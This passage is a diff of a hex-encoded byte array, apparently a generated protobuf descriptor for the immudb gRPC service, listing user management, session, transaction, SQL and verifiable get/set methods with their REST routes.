0x6f, 0x62, 0x75, - 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x55, 0x73, 0x65, 0x72, 0x4c, 0x69, 0x73, 0x74, - 0x22, 0x12, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0c, 0x12, 0x0a, 0x2f, 0x75, 0x73, 0x65, 0x72, 0x2f, - 0x6c, 0x69, 0x73, 0x74, 0x12, 0x58, 0x0a, 0x0a, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x55, 0x73, - 0x65, 0x72, 0x12, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x55, 0x73, 0x65, 0x72, 0x52, 0x65, 0x71, - 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, - 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x10, 0x82, 0xd3, - 0xe4, 0x93, 0x02, 0x0a, 0x3a, 0x01, 0x2a, 0x22, 0x05, 0x2f, 0x75, 0x73, 0x65, 0x72, 0x12, 0x70, - 0x0a, 0x0e, 0x43, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, - 0x12, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x43, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x52, + 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x20, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x1a, 0x3a, + 0x01, 0x2a, 0x22, 0x15, 0x2f, 0x75, 0x73, 0x65, 0x72, 0x2f, 0x70, 0x61, 0x73, 0x73, 0x77, 0x6f, + 0x72, 0x64, 0x2f, 0x63, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x12, 0x75, 0x0a, 0x10, 0x43, 0x68, 0x61, + 0x6e, 0x67, 0x65, 0x50, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x26, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, + 0x61, 0x6e, 0x67, 0x65, 0x50, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, + 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, + 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x21, 0x82, + 0xd3, 0xe4, 0x93, 0x02, 0x1b, 0x3a, 0x01, 0x2a, 0x22, 0x16, 0x2f, 0x75, 0x73, 0x65, 0x72, 0x2f, + 0x63, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x70, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, + 0x12, 0x6c, 0x0a, 0x0d, 0x53, 0x65, 0x74, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x55, 0x73, 0x65, + 0x72, 0x12, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x53, 0x65, 0x74, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x55, 0x73, 0x65, 0x72, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, - 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x20, - 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x1a, 0x3a, 0x01, 0x2a, 0x22, 0x15, 0x2f, 0x75, 0x73, 0x65, 0x72, - 0x2f, 0x70, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x2f, 0x63, 0x68, 0x61, 0x6e, 0x67, 0x65, - 0x12, 0x75, 0x0a, 0x10, 0x43, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x50, 0x65, 0x72, 0x6d, 0x69, 0x73, - 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x50, 0x65, 0x72, 0x6d, 0x69, - 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x67, - 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, - 0x6d, 0x70, 0x74, 0x79, 0x22, 0x21, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x1b, 0x3a, 0x01, 0x2a, 0x22, - 0x16, 0x2f, 0x75, 0x73, 0x65, 0x72, 0x2f, 0x63, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x70, 0x65, 0x72, - 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x6c, 0x0a, 0x0d, 0x53, 0x65, 0x74, 0x41, 0x63, - 0x74, 0x69, 0x76, 0x65, 0x55, 0x73, 0x65, 0x72, 0x12, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x65, 0x74, 0x41, 0x63, 0x74, 0x69, - 0x76, 0x65, 0x55, 0x73, 0x65, 0x72, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, + 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x1e, + 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x18, 0x3a, 0x01, 0x2a, 0x22, 0x13, 0x2f, 0x75, 0x73, 0x65, 0x72, + 0x2f, 0x73, 0x65, 0x74, 0x61, 0x63, 0x74, 0x69, 0x76, 0x65, 0x55, 0x73, 0x65, 0x72, 0x12, 0x4a, + 0x0a, 0x10, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x41, 0x75, 0x74, 0x68, 0x43, 0x6f, 0x6e, 0x66, + 0x69, 0x67, 0x12, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x41, 0x75, 0x74, 0x68, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, - 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x1e, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x18, 0x3a, 0x01, 0x2a, - 0x22, 0x13, 0x2f, 0x75, 0x73, 0x65, 0x72, 0x2f, 0x73, 0x65, 0x74, 0x61, 0x63, 0x74, 0x69, 0x76, - 0x65, 0x55, 0x73, 0x65, 0x72, 0x12, 0x4a, 0x0a, 0x10, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x41, - 0x75, 0x74, 0x68, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x41, 0x75, 0x74, 0x68, 0x43, 0x6f, - 0x6e, 0x66, 0x69, 0x67, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, - 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x03, 0x88, 0x02, - 0x01, 0x12, 0x4a, 0x0a, 0x10, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x4d, 0x54, 0x4c, 0x53, 0x43, - 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4d, 0x54, 0x4c, 0x53, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, - 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, - 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x03, 0x88, 0x02, 0x01, 0x12, 0x56, 0x0a, - 0x0b, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x21, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4f, 0x70, 0x65, - 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, - 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, - 0x6e, 0x73, 0x65, 0x22, 0x00, 0x12, 0x40, 0x0a, 0x0c, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x53, 0x65, - 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, - 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x16, 0x2e, + 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x03, 0x88, 0x02, 0x01, 0x12, 0x4a, 0x0a, 0x10, 0x55, 0x70, + 0x64, 0x61, 0x74, 0x65, 0x4d, 0x54, 0x4c, 0x53, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x19, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4d, + 0x54, 0x4c, 0x53, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, + 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, + 0x79, 0x22, 0x03, 0x88, 0x02, 0x01, 0x12, 0x56, 0x0a, 0x0b, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, + 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x21, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, + 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, + 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x00, 0x12, 0x40, + 0x0a, 0x0c, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x16, + 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, + 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, + 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x00, + 0x12, 0x3d, 0x0a, 0x09, 0x4b, 0x65, 0x65, 0x70, 0x41, 0x6c, 0x69, 0x76, 0x65, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, - 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x00, 0x12, 0x3d, 0x0a, 0x09, 0x4b, 0x65, 0x65, 0x70, 0x41, - 0x6c, 0x69, 0x76, 0x65, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, + 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, + 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x00, 0x12, + 0x44, 0x0a, 0x05, 0x4e, 0x65, 0x77, 0x54, 0x78, 0x12, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x65, 0x77, 0x54, 0x78, 0x52, 0x65, + 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x65, 0x77, 0x54, 0x78, 0x52, 0x65, 0x73, 0x70, 0x6f, + 0x6e, 0x73, 0x65, 0x22, 0x00, 0x12, 0x41, 0x0a, 0x06, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x12, + 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, + 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, + 0x64, 0x53, 0x51, 0x4c, 0x54, 0x78, 0x22, 0x00, 0x12, 0x3c, 0x0a, 0x08, 0x52, 0x6f, 0x6c, 0x6c, + 0x62, 0x61, 0x63, 0x6b, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, - 0x6d, 0x70, 0x74, 0x79, 0x22, 0x00, 0x12, 0x44, 0x0a, 0x05, 0x4e, 0x65, 0x77, 0x54, 0x78, 0x12, - 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x4e, 0x65, 0x77, 0x54, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1c, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x65, 0x77, - 0x54, 0x78, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x00, 0x12, 0x41, 0x0a, 0x06, - 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, - 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x1d, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, - 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x53, 0x51, 0x4c, 0x54, 0x78, 0x22, 0x00, 0x12, - 0x3c, 0x0a, 0x08, 0x52, 0x6f, 0x6c, 0x6c, 0x62, 0x61, 0x63, 0x6b, 0x12, 0x16, 0x2e, 0x67, 0x6f, - 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, - 0x70, 0x74, 0x79, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, - 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x00, 0x12, 0x44, 0x0a, - 0x09, 0x54, 0x78, 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x45, 0x78, - 0x65, 0x63, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, - 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, - 0x79, 0x22, 0x00, 0x12, 0x4d, 0x0a, 0x0a, 0x54, 0x78, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, - 0x79, 0x12, 0x1e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, - 0x74, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, - 0x22, 0x00, 0x12, 0x5d, 0x0a, 0x05, 0x4c, 0x6f, 0x67, 0x69, 0x6e, 0x12, 0x1b, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4c, 0x6f, 0x67, 0x69, - 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4c, 0x6f, 0x67, 0x69, 0x6e, 0x52, 0x65, - 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x19, 0x92, 0x41, 0x02, 0x62, 0x00, 0x82, 0xd3, 0xe4, - 0x93, 0x02, 0x0b, 0x3a, 0x01, 0x2a, 0x22, 0x06, 0x2f, 0x6c, 0x6f, 0x67, 0x69, 0x6e, 0x88, 0x02, - 0x01, 0x12, 0x4f, 0x0a, 0x06, 0x4c, 0x6f, 0x67, 0x6f, 0x75, 0x74, 0x12, 0x16, 0x2e, 0x67, 0x6f, + 0x6d, 0x70, 0x74, 0x79, 0x22, 0x00, 0x12, 0x44, 0x0a, 0x09, 0x54, 0x78, 0x53, 0x51, 0x4c, 0x45, + 0x78, 0x65, 0x63, 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, 0x52, 0x65, 0x71, 0x75, 0x65, + 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, + 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x00, 0x12, 0x4f, 0x0a, 0x0a, + 0x54, 0x78, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x12, 0x1e, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x51, 0x75, + 0x65, 0x72, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x51, 0x75, + 0x65, 0x72, 0x79, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x22, 0x00, 0x30, 0x01, 0x12, 0x5d, 0x0a, + 0x05, 0x4c, 0x6f, 0x67, 0x69, 0x6e, 0x12, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4c, 0x6f, 0x67, 0x69, 0x6e, 0x52, 0x65, 0x71, 0x75, + 0x65, 0x73, 0x74, 0x1a, 0x1c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x4c, 0x6f, 0x67, 0x69, 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, + 0x65, 0x22, 0x19, 0x92, 0x41, 0x02, 0x62, 0x00, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0b, 0x3a, 0x01, + 0x2a, 0x22, 0x06, 0x2f, 0x6c, 0x6f, 0x67, 0x69, 0x6e, 0x88, 0x02, 0x01, 0x12, 0x4f, 0x0a, 0x06, + 0x4c, 0x6f, 0x67, 0x6f, 0x75, 0x74, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, + 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x16, + 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, + 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x15, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0c, 0x3a, 0x01, + 0x2a, 0x22, 0x07, 0x2f, 0x6c, 0x6f, 0x67, 0x6f, 0x75, 0x74, 0x88, 0x02, 0x01, 0x12, 0x4d, 0x0a, + 0x03, 0x53, 0x65, 0x74, 0x12, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, + 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x12, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0c, + 0x3a, 0x01, 0x2a, 0x22, 0x07, 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x65, 0x74, 0x12, 0x70, 0x0a, 0x0d, + 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x12, 0x23, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, + 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, + 0x73, 0x74, 0x1a, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x22, + 0x1d, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x17, 0x3a, 0x01, 0x2a, 0x22, 0x12, 0x2f, 0x64, 0x62, 0x2f, + 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x2f, 0x73, 0x65, 0x74, 0x12, 0x4d, + 0x0a, 0x03, 0x47, 0x65, 0x74, 0x12, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4b, 0x65, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, + 0x1a, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x22, 0x15, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0f, 0x12, 0x0d, + 0x2f, 0x64, 0x62, 0x2f, 0x67, 0x65, 0x74, 0x2f, 0x7b, 0x6b, 0x65, 0x79, 0x7d, 0x12, 0x73, 0x0a, + 0x0d, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x47, 0x65, 0x74, 0x12, 0x23, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, + 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, + 0x65, 0x73, 0x74, 0x1a, 0x1e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x45, 0x6e, + 0x74, 0x72, 0x79, 0x22, 0x1d, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x17, 0x3a, 0x01, 0x2a, 0x22, 0x12, + 0x2f, 0x64, 0x62, 0x2f, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x2f, 0x67, + 0x65, 0x74, 0x12, 0x5d, 